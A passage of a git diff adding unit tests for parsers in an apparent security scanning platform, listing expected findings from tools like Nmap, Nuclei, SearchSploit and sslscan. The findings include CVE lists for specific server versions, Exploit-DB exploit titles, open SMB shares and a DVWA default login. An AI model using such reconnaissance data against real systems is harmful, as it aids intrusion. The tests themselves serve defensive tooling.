}, + { + "model": Vulnerability, + "name": "CVE-2021-40438", + "cve": "CVE-2021-40438", + }, + { + "model": Vulnerability, + "name": "CVE-2020-35452", + "cve": "CVE-2020-35452", + }, + { + "model": Vulnerability, + "name": "CVE-2021-44224", + "cve": "CVE-2021-44224", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10082", + "cve": "CVE-2019-10082", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0217", + "cve": "CVE-2019-0217", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0215", + "cve": "CVE-2019-0215", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10097", + "cve": "CVE-2019-10097", + }, + { + "model": Vulnerability, + "name": "CVE-2020-1927", + "cve": "CVE-2020-1927", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10098", + "cve": "CVE-2019-10098", + }, + { + "model": Vulnerability, + "name": "CVE-2020-9490", + "cve": "CVE-2020-9490", + }, + { + "model": Vulnerability, + "name": "CVE-2020-1934", + "cve": "CVE-2020-1934", + }, + { + "model": Vulnerability, + "name": "CVE-2021-36160", + "cve": "CVE-2021-36160", + }, + { + "model": Vulnerability, + "name": "CVE-2021-34798", + "cve": "CVE-2021-34798", + }, + { + "model": Vulnerability, + "name": "CVE-2021-33193", + "cve": "CVE-2021-33193", + }, + { + "model": Vulnerability, + "name": "CVE-2021-26690", + "cve": "CVE-2021-26690", + }, + { + "model": Vulnerability, + "name": "CVE-2019-17567", + "cve": "CVE-2019-17567", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10081", + "cve": "CVE-2019-10081", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0220", + "cve": "CVE-2019-0220", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0196", + "cve": "CVE-2019-0196", + }, + { + "model": Vulnerability, + "name": "CVE-2018-17199", + "cve": "CVE-2018-17199", + }, + { + "model": Vulnerability, + "name": "CVE-2018-17189", + "cve": "CVE-2018-17189", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0197", + "cve": "CVE-2019-0197", + }, + { + "model": Vulnerability, + "name": "CVE-2020-11993", + "cve": "CVE-2020-11993", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10092", + "cve": "CVE-2019-10092", + }, + { + "model": Port, + "port": 443, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "http", + }, + {"model": Technology, "name": "Apache httpd", "version": "2.4.37"}, + { + "model": Vulnerability, + "name": "CVE-2020-11984", + "cve": "CVE-2020-11984", + }, + { + "model": Vulnerability, + "name": "CVE-2021-44790", + "cve": "CVE-2021-44790", + }, + { + "model": Vulnerability, + "name": "CVE-2021-39275", + "cve": "CVE-2021-39275", + }, + { + "model": Vulnerability, + "name": "CVE-2021-26691", + "cve": "CVE-2021-26691", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0211", + "cve": "CVE-2019-0211", + }, + { + "model": Vulnerability, + "name": "CVE-2021-40438", + "cve": "CVE-2021-40438", + }, + { + "model": Vulnerability, + "name": "CVE-2020-35452", + "cve": "CVE-2020-35452", + }, + { + "model": Vulnerability, + "name": "CVE-2021-44224", + "cve": "CVE-2021-44224", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10082", + "cve": "CVE-2019-10082", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0217", + "cve": "CVE-2019-0217", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0215", + "cve": "CVE-2019-0215", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10097", + "cve": "CVE-2019-10097", + }, + { + "model": Vulnerability, + "name": "CVE-2020-1927", + "cve": "CVE-2020-1927", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10098", + "cve": "CVE-2019-10098", + }, + { + "model": Vulnerability, + "name": "CVE-2020-9490", + "cve": "CVE-2020-9490", + }, + { + "model": Vulnerability, + "name": "CVE-2020-1934", + "cve": "CVE-2020-1934", + }, + { + "model": Vulnerability, + "name": "CVE-2021-36160", + "cve": "CVE-2021-36160", + }, + { + "model": Vulnerability, + "name": "CVE-2021-34798", + "cve": "CVE-2021-34798", + }, + { + "model": Vulnerability, + "name": "CVE-2021-33193", + "cve": "CVE-2021-33193", + }, + { + "model": Vulnerability, + "name": "CVE-2021-26690", + "cve": "CVE-2021-26690", + }, + { + "model": Vulnerability, + "name": "CVE-2019-17567", + "cve": "CVE-2019-17567", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10081", + "cve": "CVE-2019-10081", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0220", + "cve": "CVE-2019-0220", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0196", + "cve": "CVE-2019-0196", + }, + { + "model": Vulnerability, + "name": "CVE-2018-17199", + "cve": "CVE-2018-17199", + }, + { + "model": Vulnerability, + "name": "CVE-2018-17189", + "cve": "CVE-2018-17189", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0197", + "cve": "CVE-2019-0197", + }, + { + "model": Vulnerability, + "name": "CVE-2020-11993", + "cve": "CVE-2020-11993", + }, + { + "model": Vulnerability, + "name": "CVE-2019-10092", + "cve": "CVE-2019-10092", + }, + ], + ), + ToolTestCase( + "ftp-vulnerabilities.xml", + [ + { + "model": Host, + "address": "10.10.10.10", + "os": "Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)", + "os_type": HostOS.IOS, + }, + { + "model": Port, + "port": 21, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "ftp", + }, + {"model": Technology, "name": "vsftpd", "version": "2.3.4"}, + { + "model": Vulnerability, + "name": "vsFTPd Backdoor", + "cve": "CVE-2011-2523", + }, + { + "model": Vulnerability, + "name": "Anonymous FTP", + "description": "Anonymous login is allowed in FTP", + "severity": Severity.CRITICAL, + "cwe": "CWE-287", + "reference": "https://book.hacktricks.xyz/pentesting/pentesting-ftp#anonymous-login", + }, + ], + ), + ToolTestCase( + "smb-analysis.xml", + [ + { + "model": Host, + "address": "10.10.10.10", + "os": "Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)", + "os_type": HostOS.IOS, + }, + { + "model": Port, + "port": 445, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "netbios-ssn", + }, + { + "model": Technology, + "name": "Samba smbd", + "version": "3.X - 4.X", + # Description is none + "description": "Protocols: NT LM 0.12 (SMBv1), 2.0.2, 2.1, 3.0, 3.0.2, 3.1.1", + }, + { + "model": Path, + "path": "IPC$", + "extra_info": ( + "IPC Service (Samba Server Version 4.6.3) Type: STYPE_IPC_HIDDEN " + "Anonymous access: READ/WRITE Current access: READ/WRITE" + ), + "type": PathType.SHARE, + }, + { + "model": Vulnerability, + "name": "Anonymous SMB", + "description": "Anonymous access is allowed to the SMB share IPC$", + "severity": Severity.CRITICAL, + "cwe": "CWE-287", + }, + { + "model": Path, + "path": "myshare", + "extra_info": "Type: STYPE_DISKTREE Anonymous access: READ/WRITE Current access: READ/WRITE", + "type": PathType.SHARE, + }, + { + "model": Vulnerability, + "name": "Anonymous SMB", + "description": "Anonymous access is allowed to the SMB share myshare", + "severity": Severity.CRITICAL, + "cwe": "CWE-287", + }, + ], + ), + ToolTestCase( + "smb-users.xml", + [ + { + "model": Host, + "address": "10.10.10.10", + "os": "Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)", + "os_type": HostOS.IOS, + }, + { + "model": Port, + "port": 445, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "netbios-ssn", + }, + {"model": Technology, "name": "Samba smbd", "version": "3.X - 4.X"}, + {"model": Credential, "username": "629F42ED79BB\\test"}, + { + "model": Path, + "path": "IPC$", + "extra_info": ( + "IPC Service (Samba 4.5.4) Type: STYPE_IPC_HIDDEN " + "Anonymous access: READ/WRITE Current access: READ/WRITE" + ), + "type": PathType.SHARE, + }, + { + "model": Vulnerability, + "name": "Anonymous SMB", + "description": "Anonymous access is allowed to the SMB share IPC$", + "severity": Severity.CRITICAL, + "cwe": "CWE-287", + }, + { + "model": Path, + "path": "shared", + "extra_info": "Type: STYPE_DISKTREE Anonymous access: READ/WRITE Current access: READ/WRITE", + "type": PathType.SHARE, + }, + { + "model": Vulnerability, + "name": "Anonymous SMB", + "description": "Anonymous access is allowed to the SMB share shared", + "severity": Severity.CRITICAL, + "cwe": "CWE-287", + }, + ], + ), + ] diff --git a/src/backend/tests/parsers/test_nuclei.py b/src/backend/tests/parsers/test_nuclei.py new file mode 100644 index 000000000..df1d8c9d7 --- /dev/null +++ b/src/backend/tests/parsers/test_nuclei.py @@ -0,0 +1,103 @@ +from findings.enums import Severity +from findings.models import Credential, Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class NucleiTest(ToolTest): + tool_name = "Nuclei" + cases = [ + ToolTestCase( + "tech_and_vulns.json", + [ + { + "model": Technology, + "name": "PHP Detect", + "version": None, + "description": None, + "reference": None, + }, + { + "model": Technology, + "name": "Apache Detection: Apache/2.4.25 (Debian)", + "version": None, + "description": "Some Apache servers have the version on the response header. The OpenSSL version can be also obtained", # noqa: E501 + "reference": None, + }, + { + "model": Technology, + "name": "Wappalyzer Technology Detection: php", + "version": None, + "description": None, + "reference": None, + }, + { + "model": Vulnerability, + "name": "robots.txt endpoint prober", + "description": None, + "severity": Severity.INFO, + "cve": None, + "cwe": None, + "reference": None, + }, + { + "model": Vulnerability, + "name": "HTTP Missing Security Headers: access-control-allow-headers", + "description": "This template searches for missing HTTP security headers. The impact of these missing headers can vary.", # noqa: E501 + "severity": Severity.INFO, + "cve": None, + "cwe": None, + "reference": None, + }, + { + "model": Vulnerability, + "name": "Redis Server - Unauthenticated Access", + "description": "Redis server without any required authentication was discovered.", + "severity": Severity.HIGH, + "cve": None, + "cwe": None, + "reference": "https://redis.io/topics/security", + }, + { + "model": Vulnerability, + "name": "Exposed Gitignore", + "description": None, + "severity": Severity.INFO, + "cve": None, + "cwe": None, + "reference": "https://twitter.com/pratiky9967/status/1230001391701086208", + }, + { + "model": Technology, + "name": "WAF Detection: apachegeneric", + "version": None, + "description": "A web application firewall was detected.", + "reference": "https://github.com/ekultek/whatwaf", + }, + { + "model": Vulnerability, + "name": "phpinfo Disclosure: 7.0.30", + "description": 'A "PHP Info" page was found. The output of the phpinfo() command can reveal detailed PHP environment information.', # noqa: E501 + "severity": Severity.LOW, + "cve": None, + "cwe": None, + "reference": None, + }, + { + "model": Vulnerability, + "name": "README.md file disclosure", + "description": "Internal documentation file often used in projects which can contain sensitive information.", # noqa: E501 + "severity": Severity.INFO, + "cve": None, + "cwe": None, + "reference": None, + }, + { + "model": Credential, + "username": "admin", + "secret": "password", + "context": "DVWA Default Login", + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_searchsploit.py b/src/backend/tests/parsers/test_searchsploit.py new file mode 100644 index 000000000..d5d48f5d3 --- /dev/null +++ b/src/backend/tests/parsers/test_searchsploit.py @@ -0,0 +1,149 @@ +from findings.models import Exploit +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class SearchsploitTest(ToolTest): + tool_name = "SearchSploit" + cases = [ + ToolTestCase( + "exploits.json", + [ + { + "model": Exploit, + "title": "WordPress Core 1.2.1/1.2.2 - '/wp-admin/post.php?content' Cross-Site Scripting", + "edb_id": 24988, + "reference": "https://www.exploit-db.com/exploits/24988", + }, + { + "model": Exploit, + "title": "WordPress Core 1.2.1/1.2.2 - '/wp-admin/templates.php?file' Cross-Site Scripting", + "edb_id": 24989, + "reference": "https://www.exploit-db.com/exploits/24989", + }, + { + "model": Exploit, + "title": "WordPress Core 1.2.1/1.2.2 - 'link-add.php' Multiple Cross-Site Scripting Vulnerabilities", + "edb_id": 24990, + "reference": "https://www.exploit-db.com/exploits/24990", + }, + { + "model": Exploit, + "title": "WordPress Core 1.2.1/1.2.2 - 'link-categories.php?cat_id' Cross-Site Scripting", + "edb_id": 24991, + "reference": "https://www.exploit-db.com/exploits/24991", + }, + { + "model": Exploit, + "title": ( + "WordPress Core 1.2.1/1.2.2 - 'link-manager.php' Multiple Cross-Site Scripting Vulnerabilities" + ), + "edb_id": 24992, + "reference": "https://www.exploit-db.com/exploits/24992", + }, + { + "model": Exploit, + "title": "WordPress Core 1.2.1/1.2.2 - 'moderation.php?item_approved' Cross-Site Scripting", + "edb_id": 24993, + "reference": "https://www.exploit-db.com/exploits/24993", + }, + { + "model": Exploit, + "title": "WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities", + "edb_id": 4397, + "reference": "https://www.exploit-db.com/exploits/4397", + }, + { + "model": Exploit, + "title": "WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass", + "edb_id": 10088, + "reference": "https://www.exploit-db.com/exploits/10088", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution", + "edb_id": 29702, + "reference": "https://www.exploit-db.com/exploits/29702", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting", + "edb_id": 29682, + "reference": "https://www.exploit-db.com/exploits/29682", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.1 - Arbitrary Command Execution", + "edb_id": 29701, + "reference": "https://www.exploit-db.com/exploits/29701", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities", + "edb_id": 29684, + "reference": "https://www.exploit-db.com/exploits/29684", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.2 - 'xmlrpc' SQL Injection", + "edb_id": 3656, + "reference": "https://www.exploit-db.com/exploits/3656", + }, + { + "model": Exploit, + "title": "WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing", + "edb_id": 3960, + "reference": "https://www.exploit-db.com/exploits/3960", + }, + { + "model": Exploit, + "title": "WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting", + "edb_id": 29754, + "reference": "https://www.exploit-db.com/exploits/29754", + }, + { + "model": Exploit, + "title": "WordPress Core < 2.8.5 - Unrestricted Arbitrary File Upload / Arbitrary PHP Code Execution", + "edb_id": 10089, + "reference": "https://www.exploit-db.com/exploits/10089", + }, + { + "model": Exploit, + "title": "WordPress Core < 4.0.1 - Denial of Service", + "edb_id": 35414, + "reference": "https://www.exploit-db.com/exploits/35414", + }, + { + "model": Exploit, + "title": "WordPress Core < 4.7.1 - Username Enumeration", + "edb_id": 41497, + "reference": "https://www.exploit-db.com/exploits/41497", + }, + { + "model": Exploit, + "title": "WordPress Core < 4.7.4 - Unauthorized Password Reset", + "edb_id": 41963, + "reference": "https://www.exploit-db.com/exploits/41963", + }, + { + "model": Exploit, + "title": "WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion", + "edb_id": 44949, + "reference": "https://www.exploit-db.com/exploits/44949", + }, + { + "model": Exploit, + "title": "WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts", + "edb_id": 47690, + "reference": "https://www.exploit-db.com/exploits/47690", + }, + { + "model": Exploit, + "title": "WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service", + "edb_id": 47800, + "reference": "https://www.exploit-db.com/exploits/47800", + }, + ], + ), + ToolTestCase("nothing.json"), + ] diff --git a/src/backend/tests/parsers/test_smbmap.py b/src/backend/tests/parsers/test_smbmap.py new file mode 100644 index 000000000..24d54cf64 --- /dev/null +++ b/src/backend/tests/parsers/test_smbmap.py @@ -0,0 +1,27 @@ +from findings.enums import PathType +from findings.models import Path +from tests.cases import ToolTestCase +from tests.framework import ToolTest + +expected_shares = [ + { + "model": Path, + "path": "shared", + "extra_info": "READ, WRITE", + "type": PathType.SHARE, + }, + { + "model": Path, + "path": "IPC$", + "extra_info": "[NO ACCESS] IPC Service (Samba 4.5.4)", + "type": PathType.SHARE, + }, +] + + +class SmbmapTest(ToolTest): + tool_name = "SMBMap" + cases = [ + ToolTestCase("shares.txt", expected_shares), + ToolTestCase("directories.txt", expected_shares), + ] diff --git a/src/backend/tests/parsers/test_spring4shell_scan.py b/src/backend/tests/parsers/test_spring4shell_scan.py new file mode 100644 index 000000000..ef0c2c39f --- /dev/null +++ b/src/backend/tests/parsers/test_spring4shell_scan.py @@ -0,0 +1,30 @@ +from findings.models import Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class Spring4shellscanTest(ToolTest): + tool_name = "Spring4Shell Scan" + cases = [ + ToolTestCase( + "cve_2022_22963.txt", + [ + { + "model": Vulnerability, + "name": "Spring Cloud RCE", + "cve": "CVE-2022-22963", + } + ], + ), + ToolTestCase( + "cve_2022_22965.txt", + [ + { + "model": Vulnerability, + "name": "Spring4Shell RCE", + "cve": "CVE-2022-22965", + } + ], + ), + ToolTestCase("not_vulnerable.txt"), + ] diff --git a/src/backend/tests/parsers/test_ssh_audit.py b/src/backend/tests/parsers/test_ssh_audit.py new file mode 100644 index 000000000..59f87d8ab --- /dev/null +++ b/src/backend/tests/parsers/test_ssh_audit.py @@ -0,0 +1,56 @@ +from findings.models import Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class SshauditTest(ToolTest): + tool_name = "SSH Audit" + cases = [ + ToolTestCase( + "cve_2018_10933.txt", + [ + {"model": Technology, "name": "libssh", "version": "0.8.1"}, + { + "model": Vulnerability, + "name": "Authentication bypass", + "cve": "CVE-2018-10933", + }, + { + "model": Vulnerability, + "name": "Insecure key exchange algorithms", + "description": "ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521, diffie-hellman-group1-sha1", + }, + { + "model": Vulnerability, + "name": "Insecure host key algorithms", + "description": "ssh-rsa", + }, + { + "model": Vulnerability, + "name": "Insecure encryption algorithms", + "description": "aes256-cbc, aes192-cbc, aes128-cbc, blowfish-cbc, 3des-cbc", + }, + ], + ), + ToolTestCase( + "cve_2018_15473.txt", + [ + {"model": Technology, "name": "OpenSSH", "version": "7.7"}, + { + "model": Vulnerability, + "name": "Enumerate usernames due to timing discrepencies", + "cve": "CVE-2018-15473", + }, + { + "model": Vulnerability, + "name": "Insecure key exchange algorithms", + "description": "ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521", + }, + { + "model": Vulnerability, + "name": "Insecure host key algorithms", + "description": "ssh-rsa, ecdsa-sha2-nistp256", + }, + ], + ), + ] diff --git a/src/backend/tests/parsers/test_sslscan.py b/src/backend/tests/parsers/test_sslscan.py new file mode 100644 index 000000000..991f585df --- /dev/null +++ b/src/backend/tests/parsers/test_sslscan.py @@ -0,0 +1,191 @@ +from findings.enums import Severity +from findings.models import Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class SslscanTest(ToolTest): + tool_name = "Sslscan" + cases = [ + ToolTestCase( + "protocols.xml", + [ + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.1"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.1 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.2"}, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.2 DES-CBC3-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.1 DES-CBC3-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 DES-CBC3-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + ], + ), + ToolTestCase( + "heartbleed.xml", + [ + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.1"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.1 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.2"}, + { + "model": Vulnerability, + "name": "Heartbleed in TLSv1.1", + "cve": "CVE-2014-0160", + }, + { + "model": Vulnerability, + "name": "Heartbleed in TLSv1.0", + "cve": "CVE-2014-0160", + }, + ], + ), + ToolTestCase( + "insecure-renegotiation.xml", + [ + {"model": Technology, "name": "SSL", "version": "2"}, + { + "model": Vulnerability, + "name": "Insecure SSL version supported", + "description": "SSL 2 is supported", + "severity": Severity.HIGH, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "SSL", "version": "3"}, + { + "model": Vulnerability, + "name": "Insecure SSL version supported", + "description": "SSL 3 is supported", + "severity": Severity.HIGH, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure TLS renegotiation supported", + "description": "Insecure TLS renegotiation supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-264", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 DHE-RSA-DES-CBC3-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 RC4-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 RC4-MD5 status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 DES-CBC3-SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_RSA_EXPORT_WITH_RC4_40_MD5 status=accepted strength=weak", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 status=accepted strength=weak", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_RSA_EXPORT_WITH_DES40_CBC_SHA status=accepted strength=weak", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_RSA_WITH_DES_CBC_SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA status=accepted strength=weak", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLSv1.0 TLS_DHE_RSA_WITH_DES_CBC_SHA status=accepted strength=medium", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + ], + ), + ] diff --git a/src/backend/tests/parsers/test_sslyze.py b/src/backend/tests/parsers/test_sslyze.py new file mode 100644 index 000000000..6b2db2bab --- /dev/null +++ b/src/backend/tests/parsers/test_sslyze.py @@ -0,0 +1,135 @@ +from findings.enums import Severity +from findings.models import Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class SslyzeTest(ToolTest): + tool_name = "SSLyze" + cases = [ + ToolTestCase( + "protocols.json", + [ + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.1"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.1 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.2"}, + {"model": Technology, "name": "Generic TLS"}, + { + "model": Vulnerability, + "name": "Certificate subject error", + "description": "Certificate subject doesn't match hostname", + "severity": Severity.INFO, + "cwe": "CWE-295", + }, + ], + ), + ToolTestCase( + "vulnerabilities.json", + [ + {"model": Technology, "name": "Generic TLS"}, + {"model": Vulnerability, "name": "Heartbleed", "cve": "CVE-2014-0160"}, + { + "model": Vulnerability, + "name": "OpenSSL CSS Injection", + "cve": "CVE-2014-0224", + }, + { + "model": Vulnerability, + "name": "ROBOT", + "description": "Return Of the Bleichenbacher Oracle Threat", + "severity": Severity.MEDIUM, + "cwe": "CWE-203", + "reference": "https://www.robotattack.org/", + }, + {"model": Vulnerability, "name": "CRIME", "cve": "CVE-2012-4929"}, + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.1"}, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.1 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.2"}, + { + "model": Vulnerability, + "name": "Certificate subject error", + "description": "Certificate subject doesn't match hostname", + "severity": Severity.INFO, + "cwe": "CWE-295", + }, + ], + ), + ToolTestCase( + "insecure-renegotiation.json", + [ + {"model": Technology, "name": "Generic TLS"}, + { + "model": Vulnerability, + "name": "Insecure TLS renegotiation supported", + "description": "Insecure TLS renegotiation supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-264", + }, + {"model": Technology, "name": "SSL", "version": "3.0"}, + { + "model": Vulnerability, + "name": "Insecure SSL version supported", + "description": "SSL 3.0 is supported", + "severity": Severity.HIGH, + "cwe": "CWE-326", + }, + {"model": Technology, "name": "TLS", "version": "1.0"}, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLS 1.0 TLS_RSA_WITH_RC4_128_SHA", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLS 1.0 TLS_RSA_WITH_RC4_128_MD5", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure cipher suite supported", + "description": "TLS 1.0 TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "severity": Severity.LOW, + "cwe": "CWE-326", + }, + { + "model": Vulnerability, + "name": "Insecure TLS version supported", + "description": "TLS 1.0 is supported", + "severity": Severity.MEDIUM, + "cwe": "CWE-326", + }, + ], + ), + ] diff --git a/src/backend/tests/parsers/test_theharvester.py b/src/backend/tests/parsers/test_theharvester.py new file mode 100644 index 000000000..cfa0a8194 --- /dev/null +++ b/src/backend/tests/parsers/test_theharvester.py @@ -0,0 +1,42 @@ +from findings.enums import OSINTDataType +from findings.models import OSINT +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class TheharvesterTest(ToolTest): + tool_name = "theHarvester" + cases = [ + ToolTestCase( + "scanme.json", + [ + {"model": OSINT, "data": "AS63949", "data_type": OSINTDataType.ASN}, + { + "model": OSINT, + "data": "http://scanme.nmap.org", + "data_type": OSINTDataType.URL, + }, + { + "model": OSINT, + "data": "http://scanme.nmap.org/", + "data_type": OSINTDataType.URL, + }, + { + "model": OSINT, + "data": "http://scanme.nmap.org//r/n/r/nUser:/r/n-", + "data_type": OSINTDataType.URL, + }, + {"model": OSINT, "data": "45.33.32.156", "data_type": OSINTDataType.IP}, + { + "model": OSINT, + "data": "74.207.244.221", + "data_type": OSINTDataType.IP, + }, + { + "model": OSINT, + "data": "2600:3c01::f03c:91ff:fe18:bb2f", + "data_type": OSINTDataType.IP, + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_zap.py b/src/backend/tests/parsers/test_zap.py new file mode 100644 index 000000000..ff04005da --- /dev/null +++ b/src/backend/tests/parsers/test_zap.py @@ -0,0 +1,157 @@ +from findings.enums import PathType, Severity +from findings.models import Path, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class ZapTest(ToolTest): + tool_name = "ZAP" + cases = [ + ToolTestCase( + "active-scan.xml", + [ + {"model": Path, "path": "/images/", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/shared/", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/shared/css/", "type": PathType.ENDPOINT}, + { + "model": Path, + "path": "/shared/images/Acunetix/", + "type": PathType.ENDPOINT, + }, + { + "model": Vulnerability, + "name": "Directory Browsing", + "description": ( + "It is possible to view the directory listing. Directory listing may reveal hidden scripts, " + "include files, backup source files, etc. which can be accessed to read sensitive information.\n\n" + "Location:\n" + "[GET] http://10.10.10.10/images/\n" + "[GET] http://10.10.10.10/shared/\n" + "[GET] http://10.10.10.10/shared/css/\n" + "[GET] http://10.10.10.10/shared/images/Acunetix/\n" + ), + "severity": Severity.MEDIUM, + "cwe": "CWE-548", + "reference": "http://httpd.apache.org/docs/mod/core.html#options", + }, + { + "model": Vulnerability, + "name": "X-Frame-Options Header Not Set", + "description": ( + "X-Frame-Options header is not included in the HTTP response to protect against " + 